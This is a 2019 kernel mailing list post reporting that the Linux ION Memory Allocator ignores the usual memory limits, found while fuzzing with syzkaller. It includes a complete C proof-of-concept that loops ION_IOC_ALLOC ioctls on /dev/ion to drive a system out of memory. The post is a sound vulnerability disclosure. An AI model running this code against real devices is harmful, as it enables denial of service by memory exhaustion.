Limits for ION Memory Allocator

From: Alexander Popov
Date: Wed Jul 17 2019 - 12:32:05 EST


Hello!

The syzkaller [1] has a trouble with fuzzing the Linux kernel with ION Memory
Allocator.

Syzkaller uses several methods [2] to limit memory consumption of the userspace
processes calling the syscalls for testing the kernel:
- setrlimit(),
- cgroups,
- various sysctl.
But these methods don't work for ION Memory Allocator, so any userspace process
that has access to /dev/ion can bring the system to the out-of-memory state.

An example of a program doing that:


#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <linux/types.h>
#include <sys/ioctl.h>

#define ION_IOC_MAGIC 'I'
#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
struct ion_allocation_data)

struct ion_allocation_data {
__u64 len;
__u32 heap_id_mask;
__u32 flags;
__u32 fd;
__u32 unused;
};

int main(void)
{
unsigned long i = 0;
int fd = -1;
struct ion_allocation_data data = {
.len = 0x13f65d8c,
.heap_id_mask = 1,
.flags = 0,
.fd = -1,
.unused = 0
};

fd = open("/dev/ion", 0);
if (fd == -1) {
perror("[-] open /dev/ion");
return 1;
}

while (1) {
printf("iter %lu\n", i);
ioctl(fd, ION_IOC_ALLOC, &data);
i++;
}

return 0;
}


I looked through the code of ion_alloc() and didn't find any limit checks.
Is it currently possible to limit ION kernel allocations for some process?

If not, is it a right idea to do that?
Thanks!

Best regards,
Alexander


[1]: https://github.com/google/syzkaller
[2]: https://github.com/google/syzkaller/blob/master/executor/common_linux.h